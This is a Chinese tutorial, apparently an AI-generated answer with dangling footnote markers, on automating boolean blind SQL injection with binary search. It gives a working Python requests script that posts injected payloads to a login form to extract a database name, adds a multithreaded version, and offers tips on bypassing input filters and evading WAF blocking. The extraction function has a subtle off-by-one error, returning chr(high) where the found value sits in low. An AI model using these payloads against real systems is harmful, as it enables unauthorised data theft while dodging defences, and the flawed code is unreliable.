在自动化布尔盲注攻击中，使用二分查找算法可以显著提高效率，特别是在处理较长字符串时效果尤为明显。传统的逐字符逐个尝试的方式效率较低，而通过将目标字符的 ASCII 范围划分为两个部分，并根据响应结果不断缩小范围，能够快速逼近正确字符。 ### 使用二分查找优化布尔盲注的核心思路 1. **确定目标字符的 ASCII 范围** 通常数据库名称、表名和字段名由字母数字组成，因此初始 ASCII 范围可设为 `32~127` 或更精确的范围如 `48~57`（数字）、`65~90`（大写字母）、`97~122`（小写字母）。 2. **构造 SQL 查询语句** 使用 `substr()` 提取特定位置字符，并结合 `ascii()` 函数将其转换为 ASCII 码值。例如： ```sql SELECT ascii(substr(database(), X, 1)) > N; ``` 这里 `X` 是当前判断的字符位置，`N` 是当前二分法中间值。 3. **基于响应判断继续搜索方向** 如果返回 TRUE，则说明实际 ASCII 值大于 `N`，否则小于等于 `N`，据此调整上下限，直到找到确切值。 ### Python 实现示例 以下是一个基于 requests 和二分查找算法实现的简单布尔盲注脚本框架： ```python import requests def binary_search_char(position): low = 32 high = 127 while low <= high: mid = (low + high) // 2 payload = f"' AND ASCII(SUBSTR((SELECT database()),{position},1)) > {mid} -- " data = {'username': 'natas16', 'password': payload} response = requests.post('http://example.com/login', data=data) if "success" in response.text: low = mid + 1 else: high = mid - 1 return chr(high) def extract_data(length): result = "" for i in range(1, length + 1): char = binary_search_char(i) result += char print(f"Extracted character {i}: {char}") return result # 假设已知数据库名长度为16 db_name = extract_data(16) print(f"Database name: {db_name}") ``` ### 多线程优化 为了进一步提升效率，可以采用多线程方式并行处理多个字符的提取任务。每个线程负责一个字符位置的二分查找过程，从而显著减少整体执行时间[^4]。 ```python from concurrent.futures import ThreadPoolExecutor def threaded_extract_data(length): with ThreadPoolExecutor(max_workers=5) as executor: futures = [executor.submit(binary_search_char, i) for i in range(1, length+1)] results = [future.result() for future in futures] return ''.join(results) ``` ### 安全性与性能考量 - 在构建 Payload 时，应注意绕过常见过滤机制，例如逗号、空格等特殊字符的处理。 - 合理控制请求频率以避免触发 WAF 或服务器封锁机制。 - 结合日志分析和查询优化策略，确保后端数据库安全性和稳定性[^5]。 ---